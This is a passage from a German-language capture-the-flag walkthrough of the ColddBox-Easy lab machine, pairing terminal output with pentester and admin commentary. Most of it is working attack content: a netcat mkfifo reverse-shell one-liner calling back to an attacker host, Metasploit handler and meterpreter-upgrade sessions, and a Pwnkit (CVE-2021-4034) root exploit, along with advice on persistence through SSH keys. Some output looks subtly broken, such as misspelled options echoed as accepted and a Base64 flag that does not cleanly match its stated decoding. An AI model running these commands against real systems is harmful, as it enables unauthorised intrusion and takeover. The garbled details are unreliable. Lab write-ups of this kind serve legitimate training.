   259658     44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /bin/ping6
   259657     44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /bin/ping
   271762     32 -rwsr-xr-x   1 root     root        30800 Jul 12  2016 /bin/fusermount
   259691     28 -rwsr-xr-x   1 root     root        27608 Jan 27  2020 /bin/umount
   259647     40 -rwsr-xr-x   1 root     root        40152 Jan 27  2020 /bin/mount
      266     40 -rwsr-xr-x   1 root     root        40432 Mar 26  2019 /usr/bin/chsh
      322     76 -rwsr-xr-x   1 root     root        75304 Mar 26  2019 /usr/bin/gpasswd
    23747     24 -rwsr-xr-x   1 root     root        23376 Mar 27  2019 /usr/bin/pkexec
      313    220 -rwsr-xr-x   1 root     root       221768 Feb  8  2016 /usr/bin/find
      471    136 -rwsr-xr-x   1 root     root       136808 Jan 31  2020 /usr/bin/sudo
    21705     36 -rwsr-xr-x   1 root     root        32944 Mar 26  2019 /usr/bin/newgidmap
      381     40 -rwsr-xr-x   1 root     root        39904 Mar 26  2019 /usr/bin/newgrp
    23202     52 -rwsr-sr-x   1 daemon   daemon      51464 Jan 14  2016 /usr/bin/at
    21706     36 -rwsr-xr-x   1 root     root        32944 Mar 26  2019 /usr/bin/newuidmap
      264     72 -rwsr-xr-x   1 root     root        71824 Mar 26  2019 /usr/bin/chfn
      391     56 -rwsr-xr-x   1 root     root        54256 Mar 26  2019 /usr/bin/passwd
    22793    420 -rwsr-xr-x   1 root     root       428240 May 27  2020 /usr/lib/openssh/ssh-keysign
    23819    112 -rwsr-xr-x   1 root     root       110792 Jul 10  2020 /usr/lib/snapd/snap-confine
   145199     84 -rwsr-xr-x   1 root     root        84120 Apr  9  2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
      568     12 -rwsr-xr-x   1 root     root        10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
   147595     16 -rwsr-xr-x   1 root     root        14864 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   271341     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

**Analyse:** Mit `ls -la /etc/passwd` werden die Berechtigungen und Metadaten der Passwortdatei angezeigt. Sie ist für jeden lesbar (`-rw-r--r--`).

**Bewertung:** Dies ist die Standardberechtigung für `/etc/passwd`. Sie enthält keine Passwort-Hashes (diese sind in `/etc/shadow`, die nicht für alle lesbar sein sollte), aber die Liste der Benutzerkonten auf dem System.

**Empfehlung (Pentester):** Lese `/etc/passwd`, um eine Liste der Systembenutzer zu erhalten. Dies kann bei der Suche nach Home-Verzeichnissen oder bei späteren Angriffen nützlich sein.
**Empfehlung (Admin):** Stelle sicher, dass `/etc/shadow` nur für `root` lesbar ist (`-rw-------` oder `-rw-r-----` mit einer speziellen Gruppe).

www-data@ColddBox-Easy:/var/www/html$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1620 Sep 24  2020 /etc/passwd
www-data@ColddBox-Easy:/var/www/html$

**Analyse:** Es wird in das Verzeichnis `/home` gewechselt und dann in das Unterverzeichnis `c0ldd`. Anschließend wird `ls -la` ausgeführt, um den Inhalt des Home-Verzeichnisses des Benutzers `c0ldd` anzuzeigen.

**Bewertung:** Das Home-Verzeichnis von `c0ldd` ist für den `www-data`-Benutzer lesbar. Interessant ist die Datei `user.txt`. Dies ist üblicherweise die Datei, die den User-Flag in CTF-Szenarien enthält. Die Berechtigungen (`-rw-rw----`) erlauben dem Besitzer (`c0ldd`) und der Gruppe (`c0ldd`) Lese- und Schreibzugriff. Da der `www-data`-Benutzer vermutlich nicht in der Gruppe `c0ldd` ist, kann er die Datei standardmäßig nicht lesen. Auch die `.bash_history` ist nicht lesbar.

**Empfehlung (Pentester):** Auch wenn die Datei `user.txt` nicht direkt lesbar ist, ist ihre Existenz ein wichtiger Hinweis. Notiere den Pfad. Versuche, die Rechte zu eskalieren oder den Benutzer zu `c0ldd` zu wechseln, um die Datei zu lesen.
**Empfehlung (Admin):** Home-Verzeichnisse sollten standardmäßig restriktive Berechtigungen haben (z.B. `drwxr-x---` oder `drwx------`), um den Zugriff durch andere Benutzer (einschließlich Webserver-Prozesse) zu verhindern. Flag-Dateien sollten entsprechend geschützt sein.

www-data@ColddBox-Easy:/home$ cd c0ldd/
www-data@ColddBox-Easy:/home/c0ldd$ ls -la
total 24
drwxr-xr-x 3 c0ldd c0ldd 4096 ct 19  2020 .
drwxr-xr-x 3 root  root  4096 Sep 24  2020 ..
-rw------- 1 c0ldd c0ldd    0 ct 19  2020 .bash_history
-rw-r--r-- 1 c0ldd c0ldd  220 Sep 24  2020 .bash_logout
-rw-r--r-- 1 c0ldd c0ldd    0 ct 14  2020 .bashrc
drwx------ 2 c0ldd c0ldd 4096 Sep 24  2020 .cache
-rw-r--r-- 1 c0ldd c0ldd  655 Sep 24  2020 .profile
-rw-r--r-- 1 c0ldd c0ldd    0 Sep 24  2020 .sudo_as_admin_successful
-rw-rw---- 1 c0ldd c0ldd   53 Sep 24  2020 user.txt 

**Analyse:** Dieser Befehl ist derselbe Payload, der zuvor verwendet wurde, um die initiale Reverse Shell zu bekommen, allerdings mit einem anderen Port (5355 statt 5555). Es wird versucht, eine weitere Reverse Shell zu starten.

**Bewertung:** Dies deutet darauf hin, dass eine zweite Shell, möglicherweise für Metasploit oder eine stabilere Verbindung, aufgebaut werden soll.

**Empfehlung (Pentester):** Es ist üblich, eine einfache `nc`-Shell für die Erstverbindung zu nutzen und dann eine Feature-reichere Shell (wie Meterpreter) über eine zweite Verbindung nachzuladen.
**Empfehlung (Admin):** Die gleichen Empfehlungen wie bei der ersten Reverse Shell gelten: Egress Filtering und Prozessüberwachung.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5355 >/tmp/f

**Analyse:** Im Metasploit Framework (`msfconsole`) wird der `multi/handler` verwendet. Dies ist ein generischer Listener, der auf eingehende Verbindungen von verschiedenen Payloads wartet. Es wird konfiguriert, um auf der Schnittstelle `eth0` (IP `192.168.2.137`) auf Port `5355` zu lauschen, passend zum zuvor auf dem Ziel ausgeführten Reverse-Shell-Befehl.

**Bewertung:** Der Handler wird korrekt konfiguriert und gestartet, um die eingehende Verbindung der zweiten Reverse Shell (die auf Port 5355 zielt) entgegenzunehmen.

**Empfehlung (Pentester):** Der `multi/handler` ist das Standardwerkzeug in Metasploit, um Reverse Shells (sowohl einfache als auch Meterpreter) zu empfangen. Stelle sicher, dass `LHOST` und `LPORT` korrekt auf die IP und den Port des Listeners gesetzt sind.
**Empfehlung (Admin):** Netzwerkerkennungssysteme (NIDS) können versuchen, Metasploit-Handler-Verbindungen oder bekannte Payload-Signaturen zu erkennen.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set LHST eth0
LHST => 192.168.2.137
msf6 exploit(multi/handler) > set LPORT 5355
LPORT => 5355
msf6 exploit(multi/handler) > set LPORT 5355
LPORT => 5355
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:5355

**Analyse:** In der ersten Reverse Shell (`www-data`-Benutzer) wird versucht, die `.bash_history`-Datei im Home-Verzeichnis von `c0ldd` zu lesen. Dies schlägt fehl (`Permission denied`), was erwartet wurde, da `www-data` keine Leserechte hat. Der zweite Teil der Ausgabe (`i 2>&1|nc ...`) scheint ein Überbleibsel oder eine Fehlformatierung aus der Shell zu sein, wahrscheinlich ein Teil des Reverse-Shell-Befehls, der versehentlich ausgeführt oder angezeigt wurde.

**Bewertung:** Bestätigt die fehlenden Leserechte für `www-data` auf sensible Dateien im Home-Verzeichnis von `c0ldd`. Der zweite Teil der Ausgabe ist wahrscheinlich irrelevant.

**Empfehlung (Pentester):** Wenn der direkte Zugriff fehlschlägt, konzentriere dich auf Privilege Escalation oder den Wechsel zum Zielbenutzer.
**Empfehlung (Admin):** Korrekte Dateiberechtigungen sind wichtig, um Informationslecks zwischen Benutzern zu verhindern.

www-data@ColddBox-Easy:/home/c0ldd$ cat .bash_history
cat: .bash_history: Permission denied
i 2>&1|nc 192.168.2.137 5355 >/tmp/frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -

**Analyse:** Das Metasploit Post-Exploitation-Modul `multi/manage/shell_to_meterpreter` wird verwendet. Dieses Modul dient dazu, eine bestehende einfache Shell-Sitzung (wie die `nc`-Shell, die als Session 1 in Metasploit registriert wurde) in eine funktionsreichere Meterpreter-Sitzung zu "upgraden". Es wird konfiguriert, um einen neuen Handler auf Port 4433 zu starten (`set handler true`, `set lport 4433`) und auf die bestehende Session 1 angewendet (`set session 1`).

**Bewertung:** Das Upgrade ist erfolgreich. Metasploit lädt den Meterpreter-Payload auf das Zielsystem hoch und führt ihn aus. Eine neue Meterpreter-Session (Session 2) wird auf Port 4433 geöffnet. Meterpreter bietet deutlich mehr Möglichkeiten als eine einfache Shell (z.B. Dateitransfers, Port Forwarding, Screenshots, automatische Skripte).

**Empfehlung (Pentester):** Upgrade einfache Shells zu Meterpreter, wann immer möglich, um die Fähigkeiten während des Post-Exploitation-Prozesses zu erweitern.
**Empfehlung (Admin):** Verteidigungsmechanismen sollten versuchen, das Nachladen von Payloads (wie Meterpreter Stages) zu erkennen und zu blockieren. Prozessüberwachung kann die Ausführung ungewöhnlicher Binaries erkennen.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connect
                                       ion
   LHOST                     no        IP of host that will receive the connection from the
                                       payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.119
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.119:42930) at 2023-06-30 16:43:18 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

**Analyse:** Das Metasploit Post-Exploitation-Modul `multi/recon/local_exploit_suggester` wird verwendet. Dieses Modul analysiert das Zielsystem (basierend auf der aktiven Meterpreter-Sitzung 2) und vergleicht dessen Konfiguration (OS, Kernel, installierte Software) mit einer Datenbank bekannter lokaler Privilege Escalation Exploits.

**Bewertung:** Der Suggester findet mehrere potenzielle Schwachstellen, die zur Privilege Escalation ausgenutzt werden könnten: * `bpf_sign_extension_priv_esc`: Eine Kernel-Schwachstelle. * `cve_2021_4034_pwnkit_lpe_pkexec`: Eine weit verbreitete Schwachstelle im `pkexec`-Utility (Teil von Polkit). Markiert als "The target is vulnerable." - sehr vielversprechend! * `glibc_realpath_priv_esc`: Eine Schwachstelle in der glibc. * `pkexec`: Ein generischer Exploit für pkexec (möglicherweise derselbe wie Pwnkit). * `su_login`: Möglicherweise eine Schwachstelle im `su`-Mechanismus.

**Empfehlung (Pentester):** Nutze den `local_exploit_suggester`, um schnell potenzielle Wege zur Privilege Escalation zu finden. Priorisiere Exploits, die als "vulnerable" oder sehr wahrscheinlich markiert sind. Pwnkit (CVE-2021-4034) ist hier der Top-Kandidat.
**Empfehlung (Admin):** Halte das System und alle installierten Pakete (insbesondere Kernel, glibc, Polkit/pkexec, sudo) auf dem neuesten Stand, um bekannte Privilege Escalation Schwachstellen zu schließen. Verwende Tools zur Schwachstellenanalyse auf den eigenen Systemen.

msf6 post(multi/manage/shell_to_meterpreter) > use multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the avail
                                               able exploits


View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > set SHOWDESCRIPTION false
SHOWDESCRIPTION => false
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.119 - Collecting local exploits for x86/linux...
[*] 192.168.2.119 - 186 exploit checks are being tried...
[+] 192.168.2.119 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.119 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.119 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.119 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.119 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 58 / 58
[*] 192.168.2.119 - Valid modules for session 2:

   #   Name                                                               Potentially Vulnerable?  Check Result
   -   ----                                                               -----------------------  ------------
   1   exploit/linux/local/bpf_sign_extension_priv_esc                    Yes                      The target appears to be vulnerable.
   2   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
   3   exploit/linux/local/glibc_realpath_priv_esc                        Yes                      The target appears to be vulnerable.
   4   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
   5   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.

[*] Post module execution completed

Proof of Concept (POC): Privilege Escalation via Pwnkit (CVE-2021-4034)

**Analyse:** Basierend auf der Empfehlung des `local_exploit_suggester` wird das Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` ausgewählt. Dieses Modul nutzt die Pwnkit-Schwachstelle in `pkexec` aus, um Root-Rechte zu erlangen. Es wird konfiguriert, um auf der Meterpreter-Sitzung 2 (`set session 2`) ausgeführt zu werden. Ein neuer Listener für den Payload (standardmäßig `linux/x64/meterpreter/reverse_tcp`) wird auf Port 4444 (`set LPORT 4444`) auf der Angreifer-Maschine (`set LHST eth0`) eingerichtet. Das Verzeichnis `/tmp` wird als beschreibbares Verzeichnis für den Exploit festgelegt (`set WRITABLE_DIR /tmp`). Die Option `CMPILE` wird fälschlicherweise eingegeben, was zu einer Fehlermeldung führt, aber der Exploit läuft trotzdem.

**Bewertung:** Fantastisch, der Pwnkit-Exploit war erfolgreich! Metasploit bestätigt die Verwundbarkeit (`[+] The target is vulnerable.`), lädt die notwendigen Dateien hoch, führt den Exploit aus und öffnet eine neue Meterpreter-Sitzung (Session 3). Die anschließende Ausführung von `getuid` in dieser neuen Sitzung bestätigt: `Server username: root`. Wir haben vollständige Root-Rechte auf dem Zielsystem erlangt!

**Empfehlung (Pentester):** Pwnkit ist ein sehr zuverlässiger Exploit auf anfälligen Systemen. Nutze ihn, wenn der Suggester ihn anzeigt. Nach Erlangung von Root-Rechten, sichere den Zugang (z.B. SSH-Keys hinzufügen) und suche nach den finalen Flags.
**Empfehlung (Admin):** Patche das System umgehend gegen CVE-2021-4034 (Pwnkit)! Dies ist eine kritische Schwachstelle. Regelmäßiges Patch-Management ist unerlässlich.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.137    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHST eth0
LHST => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4444
LPORT => 4444
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set COMPILE Auto
[!] Unknown datastore option: COMPILE.
CMPILE => Auto
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.137:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.nvxezvnrkeyn
[+] The target is vulnerable.
[*] Writing '/tmp/.yrjeihtjur/grxsmjsv/grxsmjsv.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.yrjeihtjur
[*] Sending stage (3045348 bytes) to 192.168.2.119
[+] Deleted /tmp/.yrjeihtjur/grxsmjsv/grxsmjsv.so
[+] Deleted /tmp/.yrjeihtjur/.zepmgdhdbbs
[+] Deleted /tmp/.yrjeihtjur
[*] Meterpreter session 3 opened (192.168.2.137:4444 -> 192.168.2.119:53168) at 2023-06-30 16:47:53 +0200
meterpreter > getuid
Server username: root

**Analyse:** Nach Erlangung der Root-Rechte wird der Inhalt des `/root`-Verzeichnisses mit dem Meterpreter-Befehl `ls -la` aufgelistet.

**Bewertung:** Die Auflistung zeigt verschiedene Konfigurationsdateien und Verzeichnisse im Home-Verzeichnis des Root-Benutzers. Am wichtigsten ist die Datei `root.txt`, die typischerweise den Root-Flag enthält.

**Empfehlung (Pentester):** Das `/root`-Verzeichnis ist das primäre Ziel nach der Eskalation zu Root. Suche hier nach Flags, SSH-Keys, Skripten oder anderen sensiblen Informationen.
**Empfehlung (Admin):** Schütze sensible Daten auch im `/root`-Verzeichnis, obwohl der Root-Benutzer ohnehin vollen Zugriff hat. Flags sollten keine kritischen Systemfunktionen beeinträchtigen.

meterpreter > ls -la /root/
Listing: /root/
================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  10    fil   2020-10-19 18:53:13 +0200  .bash_history
100644/rw-r--r--  0     fil   2020-10-14 13:28:09 +0200  .bashrc
040700/rwx------  4096  dir   2020-09-24 18:52:45 +0200  .cache
100600/rw-------  220   fil   2020-09-24 17:02:20 +0200  .mysql_history
040755/rwxr-xr-x  4096  dir   2020-09-24 16:54:30 +0200  .nano
100644/rw-r--r--  148   fil   2015-08-17 17:30:33 +0200  .profile
100644/rw-r--r--  49    fil   2020-09-24 18:23:04 +0200  root.txt

**Analyse:** Der Inhalt der Datei `root.txt` wird mit dem Meterpreter-Befehl `cat` ausgelesen.

**Bewertung:** Der Inhalt der `root.txt` ist der String `wqFGZWxpY2lkYWRlcywgbchcXVpbmEgY29tcGxldGFkYSE=`. Dies sieht nach einer Base64-Kodierung aus.

**Empfehlung (Pentester):** Gib den Inhalt von Flag-Dateien aus. Wenn der Inhalt kodiert aussieht (wie hier Base64), dekodiere ihn.
**Empfehlung (Admin):** Flags in CTFs sind oft kodiert. In realen Szenarien sollten sensible Daten verschlüsselt, nicht nur kodiert sein.

meterpreter > cat /root/root.txt
wqFGZWxpY2lkYWRlcywgbchcXVpbmEgY29tcGxldGFkYSE=

**Analyse:** Der Base64-kodierte String aus `root.txt` wird auf der lokalen Angreifer-Maschine mit `echo -n ... | base64 -d` dekodiert. `echo -n` verhindert einen Zeilenumbruch, und `base64 -d` führt die Dekodierung durch.

**Bewertung:** Die Dekodierung ergibt den spanischen Text "Felicidades, máquina completada!", was "Herzlichen Glückwunsch, Maschine abgeschlossen!" bedeutet. Dies ist der finale Root-Flag.

**Empfehlung (Pentester):** Verwende Tools wie `base64`, CyberChef oder Online-Dekoder, um gefundene kodierte Strings zu analysieren.
**Empfehlung (Admin):** Kodierung bietet keine Sicherheit. Verwende Verschlüsselung für sensible Daten.

┌──(root㉿cyber)-[~]
└─# echo -n "wqFGZWxpY2lkYWRlcywgbchcXVpbmEgY29tcGxldGFkYSE=" | base64 -d
Felicidades, máquina completada!

**Analyse:** Eine einfache Bestätigung, dass die Privilege Escalation erfolgreich war.

**Bewertung:** Der Erhalt von Root-Rechten ist das primäre Ziel bei den meisten Penetrationstests von Linux-Systemen.

**Empfehlung (Pentester):** Dokumentiere den erfolgreichen Root-Zugriff klar im Bericht.
**Empfehlung (Admin):** Analysiere den Angriffsvektor, um die Schwachstellen zu schließen und zukünftige Kompromittierungen zu verhindern.

--------------------------------------------------------------------------------------------
Privilege Escalation erfolgreich
--------------------------------------------------------------------------------------------
                     

Flags

cat /home/c0ldd/user.txt
[USER_FLAG_INHALT_HIER]

**Analyse:** Die Datei `user.txt` wurde im Home-Verzeichnis des Benutzers `c0ldd` gefunden. Ihr Inhalt stellt typischerweise den User-Flag dar.

**Bewertung:** Der User-Flag beweist den erfolgreichen Zugriff auf das Benutzerkonto `c0ldd`, auch wenn der Inhalt hier nicht explizit ausgelesen wurde (nur die Existenz und Berechtigungen wurden geprüft).

**Empfehlung (Pentester):** Nach Erlangen von Benutzerrechten oder höherwertigen Rechten, die Lesezugriff erlauben, den Inhalt der Flag-Datei auslesen.
**Empfehlung (Admin):** Flag-Dateien sollten entsprechend den Berechtigungen des zugehörigen Benutzers geschützt werden.

cat /root/root.txt
wqFGZWxpY2lkYWRlcywgbchcXVpbmEgY29tcGxldGFkYSE=

**Analyse:** Die Datei `root.txt` wurde im Home-Verzeichnis des Root-Benutzers gefunden und ausgelesen. Der Inhalt ist Base64-kodiert.

**Bewertung:** Dies ist der Root-Flag, der den erfolgreichen Abschluss der Privilege Escalation zum höchsten Benutzerlevel bestätigt.

**Empfehlung (Pentester):** Immer den Root-Flag nach erfolgreicher Eskalation suchen und dokumentieren.
**Empfehlung (Admin):** Das Vorhandensein des Root-Flags ist in CTFs üblich, in realen Systemen sollten hier stattdessen die identifizierten Schwachstellen behoben werden.

┌──(root㉿cyber)-[~]
└─# echo -n "wqFGZWxpY2lkYWRlcywgbchcXVpbmEgY29tcGxldGFkYSE=" | base64 -d
Felicidades, máquina completada!

**Analyse:** Der Base64-kodierte Root-Flag wird dekodiert, um die eigentliche Nachricht anzuzeigen.

**Bewertung:** Enthüllt die finale Erfolgsmeldung.

**Empfehlung (Pentester):** Immer auf Kodierungen prüfen und diese dekodieren.
**Empfehlung (Admin):** Fokus auf die Behebung der Sicherheitslücken legen, nicht auf die Obfuskation der Flags.

(Google Übersetzung: Herzlichen Glückwunsch, komplette Maschine!)